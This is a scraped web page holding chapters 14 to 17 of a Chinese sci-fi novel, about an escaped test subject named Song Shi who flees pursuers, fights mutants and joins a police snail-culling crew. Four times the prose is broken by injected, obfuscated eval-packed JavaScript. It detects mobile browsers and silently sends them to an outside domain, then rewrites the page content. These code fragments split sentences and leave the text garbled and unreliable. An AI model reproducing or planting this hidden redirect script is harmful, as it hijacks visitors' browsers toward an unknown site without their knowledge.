d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013786|162062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么办怎么办??!”付秋棠不知所措地扭头望向她,反复揉搓着胳膊上的鸡皮疙瘩。 窗外隐约出现五艘飞艇的轮廓,宋拾若有所思地观察着淡蓝色屏障,收回视线走到驾驶台。 “有大炮吗?” “有的。”付秋棠点头。 宋拾抬手指向屏幕上的图像,虚空点了点,“集中火力打这里。” 她刚才注意到头盔人打屏障并不是随便乱射,而是集中在某个地方射击——呼吸蓝波的起点。 飞艇外,沉重的机械声响起,露出崭新的巨大炮口。 “轰轰轰——”震耳欲聋的炮火声响起,瞬息间,屏障破碎。 四分五裂的碎屑化作蓝色的数据消散在空中。 飞艇顿时加速,闪电似地弹射出。 “我们成功了!” 付秋棠喜悦拍手。 宋拾眼中并无逃出生天的雀跃,她冷静地看着窗外。 五艘飞艇逐渐逼近,义眼的好处就是她的左眼可以清楚地看见那五艘飞艇,能更好地推测距离。 差不多了。 “开炮打后面的飞艇!”她沉声道。 付秋棠应了声,点击发射炮弹。 炮口轰出的炮弹冒着热烟气,直直飞去精准炸在一艘飞艇上。 “轰!”那艘飞艇坠机,明明暗暗的花光在远处燃烧。 宋拾道:“继续。” 炮弹再度轰炸过去,但这一次却炸了个空。 四艘飞艇在空中闪烁了几下,从宋拾的视野里消失的一干二净。 “检测到跟踪的飞艇消失。”宙启道。 对方很鸡贼,吃过第一次的亏自然不会吃第二次,剩下的四艘飞艇似乎开启了隐身模式,不光是宋拾的新眼珠看不见,就连人工智能宙启也检测不到。 她舌尖抵了抵上颚,语速加快:“加速,他们隐身了。” 人类的恐惧来自于未知,一旦不清楚对方的位置,一切都会变成未知数。 窗户上的画面几乎都是一闪而过,速度已经加到了最快,宋拾心里却愈发不安,后脊背熟悉的电击般的酥麻感袭来。 完蛋! “轰!”伴随着震耳欲聋的炮弹声,飞艇陡然剧烈晃动,喝了假酒似地东倒西歪,摇摇欲坠。 宋拾一头猛地撞上窗户,疼得眼冒金星,眼前出现了一堆小宋拾手拉手在她头顶盘旋唱歌。 付秋棠也没好到哪里,她从座位上滚落到地上,磕得流出了两道鼻血。 急促的警报声响起: “飞艇受损严重!飞艇受损严重!请及时降落!” 这样不是办法。 摇头甩掉唱歌的小人,宋拾揉了揉头顶磕出的新鲜出炉的大包,目光来回在飞艇内扫视,突然,她睁大眼睛。 犄角旮旯处放着一堆杂物,其中就是一辆摩托车样式的悬浮车。 新学的加速精神术法说不定可以用上。 她扶着墙,快步走向那辆悬浮摩托车,“这个可以用吗?” 付秋棠闻声,从地上抬起头,鲜红的鼻血滴落在地面上,鼻尖红彤彤的。 “可以用,咱们要弃飞艇逃走吗?” 宋拾拍掉车上的积尘,看向她:“不,是我一个人。” 14. 第十四章 “逃跑居然不带上我?!” 付秋棠瞪着眼珠,用一种遭受到莫大背叛的目光谴责她。 宋拾:“……” “轰隆!”飞艇再度剧烈颠簸。 来不及了。 宋拾稳住身形,一边挪动着将悬浮摩托车推向舱门,一边解释道:“他们的目标是我,等我离开后你直接降落飞艇,他们不会找上你的。” “时间不多了,让宙启打开舱门吧。”女孩脸上仍有些苍白,却扯出了点笑意,“希望我们还有机会见面。” 付秋棠握紧拳头,又立刻放松,从地上缓慢地爬起,所有的话汇聚喉咙最终归为一句:“那你小心点,以后论坛联系。” “宙启,打开舱门。” 机械门开启的声音,狂风呼啸灌进舱内,裹挟着强烈又滞涩的气流。 本蔚蓝的天空被乌云盘旋占据,飞艇外闪烁着刺眼蜘蛛网四散开样的红蓝警示灯,在灰暗的厚重云层映衬下,光线甚至波光粼粼似的。 敌方的屏幕上。 一个羸弱纤细的身体骑着辆巨大的悬浮摩托飞出了飞艇,排气管陡然喷射出一道蓝色燃料,驶向远方,逐渐融进云雾中。 那艘飞艇随即关闭舱门,摇晃着缓慢下降。 头盔人轻触头盔,耳边是接通的提示音:“这里是联邦。” “呼叫联邦,付秋棠驾驶的飞艇已降落,请前往救援,我们这里会继续追捕击杀056号实验体。” …… 宋拾忽视了一个巨大的问题。 这辆车太大了,她……她踩不到油门…… 宋拾心梗了一两秒。 身高不够,只能术法来凑。 蓝色的符文刹那间包裹住悬浮摩托,“嗖”地一声如同射出的箭弹射加速。 呼啸的冷风拍打在她的脸上,黑色的碎发张扬舞动,宋拾耳朵和手指几乎冻得没了知觉,单薄的裙边被压在臀下防止鼓风走光。 义眼在此刻再次起了作用,一闪而过的模糊景象在左眼里格外清晰,能够敏锐地获取肉眼无法捕捉的画面。 当然也包括后视镜里一闪而逝的亮光。 宋拾没想到他们居然追得那么紧,她咬咬牙,面庞上蓝色符文闪得愈发快,悬浮摩托猛地喷出燃料,将身后四艘飞艇甩得远远的。 狂风吹得她是吸不进半点氧气,索性直接屏息专心骑车。突然,湿凉的水滴在她的鼻尖上,紧接着密密麻麻的雨水劈头盖脸砸来。 宋拾错愕抬头,厚重的乌云盘踞头顶,骇人的闪电隐没进云层中,不远处是一股扭动着的黑色巨大龙卷风,裹挟着一股强大的吸力,近乎吞噬一切。 完蛋!宋拾表情凝固。 以她现在的速度,根本无法停下来。 骤然,熟悉的酥麻感又至,宋拾条件反射猛地侧身,摩托车四十五度角倾斜。 火红炽热的炮弹从她身旁擦身而过,刺得宋拾下意识眯起双眼。 前方的龙卷风一口将炮弹吞噬。 “轰!”地一声稀碎的火光碎屑迸射,明灭闪烁几下,熄灭。 前有龙卷风后有炮弹,宋拾大脑疯狂运转。 龙卷风她是躲不过了,不如搏一把。 迅速做出决定后,她拧紧眉头,豆大的汗珠从额头沁出,符文的蓝光更盛,悄然爬上摩托车。 宋拾深吸一口气将车把拧到最后。 紊乱的气流撞得摩托险些失控,数条闪电劈下,将她半张脸笼罩在阴影下。 宋拾浑身被汗水浸透,大脑浑浑噩噩中突然闪过联邦老师说的“超负荷使用术法会带来不可逆的后果”。 她晃晃脑袋甩掉杂七杂八的想法,现在她必须要保持清醒。 她必须要活着。 淡蓝色的符文像是流窜的数据,泛着冰冷没有温度的光泽,在皮肤上横冲直撞起来,甚至粗鲁地挤进宋拾右眼。 她立刻吃痛地眯起右眼,刺痛的灼烧感像是眼球被人丢进热油锅油炸。 为了不被紊乱的气流带进龙卷风内,宋拾只能强撑着睁开右眼,浓稠的液体顺着眼角流出滴落在衣领上。 灼热的温度逼近,她咬紧牙关攥紧车把用力侧身,脖颈梗得发红发紫,炮弹再次擦身而过。 飞艇内。 看着屏幕上056号实验体躲过炮弹,领头的头盔人暴怒,“继续打!我就不信她都能躲过!” 四艘飞艇齐刷刷亮出一排炮口,轰隆一声,数枚炮弹齐发。 这边宋拾还在提速,她胳膊颤抖着,手指甚至无力再攥紧车把,就在她绝望地想松开时,身上强大的吸力骤然一减。 她躲过龙卷风了! 还没高兴太久,她瞥了眼后视镜,气得差点破口大骂。 生怕她不死,身后的炮弹多得跟他爹的流星雨一样。 怎么办怎么办…… 宋拾咬破舌尖,淡淡血锈味让她大脑清醒了些,冻住的思绪逐渐活络。 她将身体全部的重心向前压,肌肤上的蓝色的符文闪烁了两下便灭了,宋拾不甘心,继续屏息发力,终于蓝光亮起。 悬浮摩托车头朝下,排气孔猛喷出燃料,俯冲冲破云层。 眼前豁然明亮起来,硕大的夕阳悬挂在天边,一排排洁白的鸽子振翅穿进高耸的钢铁建筑群中。 这么逃下去不是办法,她体力不支撑不了多久。 飞艇的警报声接近,后视镜中只剩下了一艘飞艇,而更远处是燃烧的火光和坠落的飞艇残骸。 宋拾喜悦挑眉,看来有些倒霉蛋没躲过龙卷风啊。 一艘的话,她觉得自己还能再撑撑,只要甩掉它就好了。 屏幕上,悬浮摩托突然拐了个弯朝城市驶去,横穿过悬浮车轨道。 头盔人点开通讯,脸色不太好看:“056号实验体进入多科市,请求调动多科市监控。” 联邦人工智能宙启温柔的声音响起:“抱歉,飞艇在穿越风暴时遭受到强波段干扰,通讯设备已损坏。” …… 一个小孩骑着辆大自己三倍的摩托穿梭在城市中,任谁都会忍不住掏出手机拍照发联邦网上去,配文:“你小孩姐永远是你姐”。 如此显眼地招摇过市,自然也吸引了多科市的交通安防员。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013787|162062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宋拾身后已经追了不下六辆鸣笛的悬浮摩托车了。 “小朋友,请你立刻停下来!”扩音喇叭在身后警告道。 停下是不可能停下来的。 宋拾的目光来回不停地扫视,陡然,她注意到一个破旧废弃的小巷子,夸张的霓虹灯牌上亮着“贱民沟”。 重点是没有监控。 羸弱的女孩骑着她的摩托溜进了“贱民沟”,追在身后的交通安防员遽然停下,犹豫几下,高声大喊:“危险!不要进去!” “危险!” 贱民沟属于多科市的视野盲区,里面住着一堆有犯罪前科的黑户,甚至组成了大大小小的地头帮派,清扫了几次都无果,乱得当地安防员没办法插手管。 巷子逼仄而狭窄,漆黑得看不清看路,除去宋拾摩托的回响,只有水滴的回音。 空气中弥漫着刺鼻廉价的烟草味和腐烂的臭水沟味道,各种臭气暧昧不清地交织成一团,好在宋拾腹中空空,不然指定要吐。 身后交通安防员的摩托声已经远去,宋拾这才疲惫地打了个哈欠,沉重的眼皮半耸拉着。 终于结束了。 “咻——咻!” 一声拖长戏谑的口哨声响起,宋拾瞬间坐直身体,闻声望去。 三个地痞流氓拿着狼牙棒和刀子,嘴里叼着烟,眯眼冲她呲牙笑,上下打量宋拾的车,满意点头。 “小妹妹,这车不错,你从哪弄来的?” 宋拾垂下脑袋眼珠咕噜噜转了个圈,抬头后脸上立刻换了副表情,很是不安惶恐:“叔叔们是想要这辆车吗?那我把车给你们,你们放我走好不好?” 他们三人嗤笑出声,倒是省去了动手的力气,车和小孩卖到小黑市上又是一大笔收入,他们喜色上眉梢。 谁知,小女孩突然狞笑:“老登们要栽跟头了哦!” 悬浮摩托飞驰冲向他们,三人顿时察觉到不对要跑,摩托已经从三人头顶重重砸下来,轰然爆炸,火光吞噬掉三人狰狞的身影,震得巷子的蛇鼠骚动起来。 宋拾也在坠车的那刻提前松了手。 反正不出意外这辆悬浮摩托将会火遍联邦网,全网通缉骑着悬浮摩托的小女孩,这辆车是留不了了,除非她想被安防员一眼认出,被头盔人抓去“销毁”。 与其便宜眼前这三个混混,倒不如顺势解决掉,美曰其名为民除害。 她宋拾也算是做了好事一桩呀。 为民除害的宋拾狼狈地地面翻滚了两圈后,一头磕在墙壁上,撞得她两眼昏花。 贴在地面的耳朵里却陡然传来急促的脚步声。 “咚咚咚……” 不是一两个人,是一群人的脚步声。 她咬牙忍痛站起身,额头湿润的血液模糊了视线,她的目光停留在井盖上。 天无绝人之路。 她踉跄着起身走到井盖前,使出吃奶的劲尝试掀起井盖,井盖却纹丝未动,嘈杂的脚步声越来越近。 宋拾心脏猛地泵血,血液倒流。 蓝色的符文滚动起来,沉重的铁皮井盖也在此时被抬了起来。 15. 第十五章 “滴答。” 冰凉的水滴滴落在她的鼻尖,却瞬间被灼热的体温蒸发。 躁动的流火在体内不安地窜动,宋拾浑身涨成猪肝色,痛苦地弓起腰,干裂的唇瓣无意识呓语着。 热……好热…… 火焰似乎将她的五脏六腑也尽数吞噬,骨骼像被大货车反复碾压又被粗暴地重组,痛得她指尖狠狠地嵌入掌心。 “负荷带来……不可逆……的……后果……” 伴随着缥缈的声音,女孩的意识蓦地消散,胸口的起伏随之消失。 不知过了多久,“尸体”的手指突然动了动。 脑袋好痛……像是被开瓢了一样。 宋拾掀开酸胀的眼皮,眼前黑漆漆的一片。 她眨了眨眼,左眼义眼陡然射出手电筒般的白光,骤然间,地下道的场景一览无余。 真别说,付秋棠给的义眼怪好用的。 扶着黏腻的墙站起后,一股寒意袭来,她浑身一哆嗦。 是错觉吗?怎么感觉裙子变短了? 她顺势低头,顿时不可置信地瞪大双眼。 她她她她腿原本有那么长吗?! 撑裂的裙子堪堪遮盖住了该遮的位置,修长的腿暴露在空气中,宋拾又立刻伸出胳膊来看。 纤细的胳膊看起来营养不良,但是的的确确是大人的胳膊。 这难道就是联邦老师说的不可逆?宋拾抬舌抵住上颚,大胆猜测这个不可逆极有可能是加速人的生长。 从孩童迅速变成成年,那么下一次是不是就是中年?甚至老年?最后死亡……? 不过目前,这个负荷所带来的后果对她而言倒是一件好事。 “咕噜……”空荡荡的肚子终于发作。 宋拾揉了揉干瘪的肚皮,无奈叹气,还是先想办法解决温饱问题吧。 她转动着义眼,调试光线,伸手扶住长满青苔的水管,踉跄地朝前走去。 浑浊黏稠的液体在脚边咕嘟咕嘟冒着泡,不时穿梭过几只大灰耗子,除此之外倒也没有别的东西了,只是偶尔会幻听到奇怪低吼声。 她抬着头不停扫视,生怕错过了任何一个可以逃生的井盖。 突然,义眼射出的白光停顿在一处,明亮的反光刺来。 一瓶干净的营养液安安静静地立在不远处,像是等待着宋拾过去拿。 事出反常必有妖,何况这是地下道,哪来的便宜让她捡啊。 她还没傻到真上前去拿,她攥紧拳头,打算原路返回。 “咕噜……”腹部骤然绞痛抗议,宋拾一时间犹豫起来,来回打量那瓶营养液。 她蹲下,摸出一块碎石子用力朝前一扔,“铛铛”石子清脆落地的声音在地下道回响。 并没有任何东西出现。 宋拾没动,大概过了一两分钟后发现真的没有东西,才站起身,抖了抖蹲麻的大腿,小心翼翼地朝着那瓶营养液挪去。 最终她如愿以偿地捡起了营养液,拔开塞子,宋拾轻轻抿了一口,确定是营养液才开始大口吞咽。 温热的暖流传递至全身,腹中的绞痛也得到了缓解。 丢掉空瓶,宋拾满意地半眯起眼睛,目光突然顿住,肮脏油腻的井盖被照射得波光粼粼。 可以出去了!她喜悦地奔向井盖,但没走几步宋拾便察觉到一丝怪异,她和井盖的距离怎么没有变化? 她试探性地朝前走了数十步,距离近了些。 是幻觉? 宋拾晃晃脑袋,心中还是提起了警惕,快走到井盖下时,她才看见一道黑黢黢的黑影在角落里蠕动着。 她确定,刚才这里什么都没有的。 宋拾头皮发麻,脊背僵直,抬腿默默朝后退去,不管是什么,恐怕都不是现在的她能抵抗的。 那团黑影推拉木偶似地站起,像是人,但姿态格外扭曲,随着僵硬的起身动作,骨骼咯吱咯吱作响。 “你……想要什么?” 挤压喉咙发出的古怪声音,每说一句便朝她靠近一步,“金钱?权利?” “我都可以满足你。” 充满蛊惑的语调带着某种钩子,等待着鱼儿咬钩。 “说呀,你想要什么?” 宋拾眼神朦胧起来,双腿像是生了根,一动不动地杵在原地。 “我……我想要……” 黑影此时已经贴上了宋拾的脸。 那是一颗硕大的鼠头,深褐色的牙齿透着尸臭,黑色的毛发下是歪七扭八的缝合线,拼接着人类的身体,像是恶意拼凑成的尸体。 它全黑的眼珠直勾勾地盯着她,腥臭的涎水顺着唇吻流淌进毛发里。 “想要什么?” 鼠头兴奋地咧开嘴,漆黑的眼珠闪烁着诡异的光。 “我……” 宋拾眨了眨眼,陡然粲然一笑,“当然是想要你的鼠命啊。” “什么?” 鼠头人惊愕地瞪大狗眼,还未反应过来,刺眼的蓝光在眼前骤然亮起,脑袋轱辘轱辘从脖颈上滚落到地上。 它死死地瞪着眼前闪着蓝色符文的女人,不可置信。 宋拾牵起唇角,“多谢你的营养液,不然我还真杀不掉你呢。”她利落地扒掉鼠头人穿的大衣,反手套在自己身上。 “你……你……怎么可能……”鼠头人发出“赫赫”的声响,眼珠死死地盯着她。 女人冲它伸出手,猛地五指收紧,鼠头尖叫轰然爆开,褐色的液体溅得到处都是。 超负荷使用精神术法意外地拓宽了精神领域,像是冲破了一层看不见的屏障。 宋拾刚才使用的不过是Z教过的“悬浮”,只需要多释放点控制力就能达到意想不到的效果。 目光触及褐色的液体,她嫌弃地皱眉,抬头瞥了眼原本看到的井盖的位置,果不其然,空空如也。 看来是会致幻的变异物种,不过……想起脖子上的缝合线以及人类的身体,宋拾不由打了个寒噤。 谁那么变态把变异物种和人缝合在一起啊。 …… 街道上的井盖抖动了几下,突然“咣当”一声,巨大的推力将它顶开,一个脏兮兮的女人从里面钻了出来。 此刻,夜已深。 天空被各式各样的全息投影广告占据,性感妖娆的男明星,以长寿为噱头的保健品广告,以及……奥罗拉集团最新推出的保姆机器人。 狠狠地磨了磨后槽牙,宋拾左眼似乎还在隐隐作痛。 “轰隆轰隆”头顶疾驰过悬浮车,穿进拥挤的钢铁建筑群。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013788|162062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她胡乱撩开披散的长发,才注意到路人的目光尽数投在自己身上,有惊恐,也有嫌弃。 宋拾不甚在意地打了个哈欠,拖着疲惫的身躯一屁股坐在长椅上,伸手掏了掏鼠头人大衣的兜,没想到还真被她掏出了东西。 一个破旧的终端和一本掌中宝小书。 路灯下,封皮上的字被照得清清楚楚:《神:光明》,作者:白鸽。 宋拾:“……” 这个世界还搞封建迷信? 她将书又塞进了口袋,转头摆弄起那台破终端,运气不错,终端破虽然破了点,但还是成功开机了。 随即,熟悉的绿色简约界面出现。 最新的帖子“震惊!义肢协会主席付秋棠被人绑架了!”“联邦放宽对克隆技术的限制。”“多科市惊现骑摩托的小女孩!” 宋拾点开第一条。 楼主:据可靠消息,付秋棠去联邦学院授课,却遭到回溯的绑架,甚至动用了联邦学院的电子屏障都没拦住,最后还是联邦军追了好几个市才救回。话说,回溯的胆真的是越来越肥了,付秋棠是它能动的人吗? 铁皮猫:万一是付秋棠自己跑的呢? 楼主回复铁皮猫:6,人家付秋棠有什么可跑的? 铁皮猫回复楼主:有人想杀她,她当然要跑啊。 楼主回复铁皮猫:难道有内幕? 铁皮猫:什么内幕不内幕的,我只是单纯杠精。 楼主:…… 宋拾:“……” 小姑娘看起来很精神嘛,应该没有受伤。 陡然,短促的警鸣声响起,宋拾错愕抬头,悬浮警车上下来身穿制服的安防员。 他神情严肃,亮出银色的手铐:“有人报警说多科市贱民沟附近有人偷井盖,请您跟我走一趟。” “……” 宋拾无辜摊手,指了指井盖:“我没偷,你看,井盖还在。” 安防员的目光在被掀开的井盖上转了一圈,颔首:“破坏公共财产罪。” 宋拾:“……” “你早说嘛,我再把它安回去不就好了。” 她立刻换上嬉皮笑脸的表情,起身打算将井盖挪回原本的位置,却看见安防员掏出了一把枪。 她不敢动了。 双手高举过头顶。 精神术法不到关键时刻,她绝不能使用,一旦使用极有可能暴露身份,偷偷摸摸苟命比什么都强。 那副冰冷的银镯子还是铐在了她手腕上,肩膀被人按住,推进警车内。 宋拾自暴自弃地想,还差件狱服和几根铁栏杆,她也算纯狱风一把了。 她尝试抽了抽手腕,未果,又将目光投在开车的安防员身上,发自内心地问道:“多科市的牢饭怎么样?好吃吗?” 那名安防员嘴角抽搐,有些不耐烦:“我又没吃过。”说罢,透过后视镜嫌弃地上下打量披头散发的女人。 “你应该不是本地人吧。” “俺是从久藤市来的,久藤知道吧?穷得叮当响的地方。”宋拾眨巴着眼,语气浮夸,“先生,我这么配合,到时候会不会减刑呀。” 安防员没再理会她。 宋拾无趣地看向窗外,人工造影的梦幻夜景,闪烁着艳丽的霓虹灯。 16. 第十六章 抵达安防局,宋拾被按压下车站在门口,门上仪器发出红色的光线进行扫描。 “无危险。” 玻璃门这才自动打开。 安防员猛一推,宋拾一个踉跄踏进去。 身穿制服的公职人员手持文档行色匆匆,整个安防局安静得只能听见脚步声。 “这是?”清亮的嗓音。 宋拾抬头,一双颀长的腿最先映入眼帘。 对方身着多科市安防员的蓝色制服,胸口别着工作牌“安防部大队长顾念”。 黑发黑眼的亚洲面孔,干净利落的齐耳短发,身形修长,脸颊上有道尤为明显的伤疤,让她看起来有些痞气。 安防员:“队长,是窃井盖的。” “窃井盖?”顾念挑眉,端详眼前浑身狼狈的女人,“走程序进行处罚。”说罢,她举起手中的终端冲宋拾的脸扫描。 机械音:“身份信息:无。” 宋拾身体一僵。 糟糕,忘记她根本没有身份信息了。 “还是个黑户?” 大脑飞速运转,宋拾清清嗓子,道:“呃,我是刚从从久藤市来的,在久藤混不下去了才来到多科市,想在这里赌一把……” 反正有久藤恶名在前,不管宋拾怎么说都能够解释的通。一个无名无姓的黑户在久藤活不下去跑到发达城市来搏一搏,很合理。 顾念道:“久藤哪里的?” 宋拾脱口而出:“久藤市废角巷十三号垃圾场附近的废墟屋,那里还开着一家义肢店!警官,我真没骗你,你都可以查,我说的都是真的。” 顾念颔首,挥挥手示意宋拾和那名安防员跟上。 宋拾被带进了一间审讯室,头顶套上了个测谎的头盔,坐在正中间。 连续被问了数十个问题后,她垂着脑袋,看着手腕上泛着冰冷银光的手铐,嗡里嗡气道:“警官,我没有要偷井盖,我终端掉下水道了我下去去捡,结果正好被热心市民看见,反手把我举报了。” 测谎头盔没响。 宋拾舒了一口气。 “放心,如果你说的都是真的,我们是不会冤枉你的。” 顾念的目光停留在终端上,双手快速地检索相关信息,屏幕上显示的正是宋拾之前说过的地址。 “你叫什么名字?” “宋拾。” “倒也不是什么太严重的事情,”顾念收起终端,“只是如果你想继续在多科市生活的话,需要办理一下公民身份信息,手续费为一万星币。” 宋拾有些惊愕,印象中公民身份信息是很难办的,不然也不至于出现那么多黑户了,除非……是这位警官行的方便。 她抬头格外深情地望向顾念,那张带着疤痕的面庞在此刻看起来尤为慈眉善目。 天下还是好人多啊。 顾念察觉到她的目光,扬起嘴角笑了下,起身走过去,顺手取掉宋拾手腕上的手铐。 “现在这个社会谁都不容易,在多科好好混哈,少干偷鸡摸狗的事。” “……好的,谢谢顾警官。” 没记错的话,她论坛账户里正好一万星币,终于可以派上用场了。 联邦采集系统很成熟,采集指纹虹膜基因后又拍了大头照,整个过程只用了五分钟左右。 安防局大厅的机器屏幕上的数据逐渐汇聚。 崭新出炉的身份信息: 姓名:宋拾 年龄:21岁 身份:多科市四等公民【原久藤市黑户】 暂无犯罪记录 职业:无业游民 “砰!”一声巨响,玻璃门顷刻间炸裂。 那是一个穿着特制防护服的安防员,他的面庞被痛苦占据,扭曲得狰狞,手举着枪到处乱射。 随即,不知从哪窜出几个机器人齐刷刷按住他。 “队长!” 破碎的玻璃门外又出现几名同样身穿防护服的安防员。 “队长!罗雷尔在清理鳄蜗的时候,没喷喷雾,有几只钻进了衣服里,怎么办啊?!” 站在宋拾身旁顾念从兜里掏出一支烟,点上,咬在嘴里,含糊不清道:“没救了没救了,都说了记得喷喷雾。” 朦胧的烟雾遮住了她的神情。 罗雷尔痛苦地在地面上想要打滚,但被机器人狠狠钳制住,他张大嘴发出令人毛骨悚然的吼叫。 “不……不要杀我……”罗雷尔脸上的肉紧贴在地板上,瞳孔恐惧地缩成针尖,“我妈……我妈还等着我给她治病呢……” 顾念叼住烟缓缓蹲下,与他对视,“你妈等不到了。现在不杀你,过会你自己也会被鳄蜗吃干净,都是死,长痛不如短痛。” “可是……我妈……”他喘着最后一口气。 头皮一阵发麻,宋拾看见他的四肢在“消失”,与其说是消失,更像是被某种东西快速地吃掉了。 鳄蜗又是什么变异生物? 顾念垂着眼帘说:“罗雷尔,因公殉职。” 听见这句,罗雷尔像是得到了满意的结果,放弃挣扎,只是轻轻点了点头。 顾念摸出腰间的枪,抵上他的脑门,“砰”地一声,罗雷尔的瞳孔逐渐涣散。 密密麻麻的蜗牛顷刻间从他口中爬出,啃食的声响令人难以忽视。 她利落站起身,立即吩咐机器人处理好尸体以及尸体上的鳄蜗。 “队长……” 穿着防护服的安防员犹豫了几下,见顾念点头才继续说道,“清理鳄蜗的安防员人数不够……去掉罗雷尔,清理队还只剩下我们五个。” “这玩意繁殖速度很快,港口物流量又多,一晚上根本清理不完。” “我可以吗?”一道声音突然夹进来。 宋拾看向他们。 “你?”顾念吐出烟圈,打量她。 鳄蜗危险系数总体来说并不大,只要做好防护,它乖顺得就像普通的蜗牛一样。 它们体型与正常的蜗牛差不多大,速度慢,繁衍能力极强,长有尖锐的牙齿,什么都吃。如果不及时处理,会造成很严重的后果。 “先说好哈,没有五险一金,一晚上五万星币。” “我可以。” 五万星币,多犹豫一秒都是对金钱的不尊重。 时间紧迫,宋拾跟着其他安防员换了防护服,喷上专门的喷雾后,便上了悬浮警车。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013789|162062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >此时天空又飘起了毛毛细雨,浮夸的霓虹灯把雨水照得煞是漂亮,犹如宝石。带有节奏音律般地打在车窗上,雨刷又不知疲倦地刮去雨水。 安防员们靠在靠背上闭目养精蓄锐,接下来就有的熬了。 “你是新来的,可能不清楚鳄蜗是个什么东西。”开车的安防员突然出声,宋拾记得其他人叫他老杨。 “那玩意儿,吃人,吃铁,什么都吃,一下雨就出现在港口,它们吃了货物,上面追究下来都是我们的……咳咳,但抓也好抓,拿着那个大剪刀手起刀落一夹,就好了。”老杨乐呵呵道。 “哎呀,要不是出现在港口就好了,放把火一烧,多方便。小姑娘也别太担心,喷好喷雾,穿好防护服,不会有生命危险的。” “想当年啊……” 耳边依旧是老杨的絮絮叨叨,宋拾索性左耳进右耳出,像其他人一样闭眼休息。她的确累了,没一会意识便昏沉下去。 被人叫醒时,悬浮警车已抵达多科市港口。 雨还未停。 他们从车上陆续跃下,宋拾拿好配备的大剪刀也跟着下了车。 港口还停泊着不少货船,机器人托运着货物穿梭其中,地面被雨水濡湿,爬满正在进食鳄蜗。 宋拾学着其他人,手起刀落将这些鳄蜗剪成两半。 清理鳄蜗确实没什么难度,甚至枯燥,整个港口响着安防员疲惫的哈欠声。 “喀嚓”一次性绞死三只,宋拾蹭到老杨身边。 她倒还没忘记论坛交给她的任务。伊索纳德号的爆破就是发生在多科市港口的,说不定老杨知道点什么。 她随意开口,“我之前看新闻,说多科市的那个什么伊索……呃,伊索寓言号爆炸了,死了好多人,真的假的?好好的港口怎么会爆炸啊。” 聊起别的,老杨可就精神了,“咔嚓”剪断一只鳄蜗,道:“爆炸了,安防员死了三十一个,有好几个和你一般大。大好的年纪啊。”用力一绞,透明的粘液黏在剪刀上。 “年轻人干点什么不好,偏偏要来当安防员,都是给人家上等人服务的奴才命。” 听得宋拾太阳穴突突直跳,尝试把话题引回来,“啊,这样啊。那场爆破究竟是什么引起的呀,是船上有什么易燃物吗?” “易燃品?”老杨嗤笑,“哪有什么易燃品。” 他突然不说了,警惕地向四周瞟,靠近宋拾,压低嗓音:“你问这个干什么?” 宋拾使出了毕生全部的演技。 她的眼眶瞬间被泪水充盈,鼻尖发酸,声音有些颤抖:“我远房表哥就死在了那场爆破中,他从小没爹没妈,我是他唯一的亲人,我不想他就这么不明不白地死了。” 老杨一时间也酸了眼眶,叹口气道:“也不是不能说,但是丫头你可要把这件事烂肚子里啊,不然到时候咱都得死。” 不能说? 难道和联邦有关? 宋拾连忙点头,“杨叔你放心,我嘴知道把门,不会说出去的!我……我只是想知道我哥的死因。” “那场爆破啊……” “砰砰!”急促的枪响突然打断。 “救命啊!”绝望刺耳的求助声传来。 17. 第十七章 “发生什么了?” 老杨朝那边大喊,手已经从兜里掏出了终端时刻准备联系安防部。 宋拾神色一暗。 可恶,就差一点。 到嘴的鸭子就这么飞走了。 “快跑!”三个安防员喘着粗气,双臂胡乱扑腾着,惊恐地奔跑而来。 “是安吉尔!安吉尔!快跑!” 老杨神色一变,立即拨通了安防部的通讯,响了两声后,终端那头传来顾念漫不经心的声音:“老杨,怎么了?” “队、队长,”老杨握住终端的手颤抖着,“安吉尔,多科市港口出现了安吉尔!我们该怎么办?” 通讯那头的声音陡然激烈起来:“我靠,快跑啊!你先跑啊!都这时候了,先逃命再汇报会死吗?” 通讯挂断。 老杨和宋拾的目光对上,福至心灵般,同时逃命般朝前奔跑。 “安、安吉尔是什么?”宋拾调整呼吸频率问道。 老杨人到中年,体力不佳,跑得满头大汗,发出的声音像是被掐住脖颈的公鸡,“变异生物!实验室里爬出来的!我以后再告诉你,先逃命!” 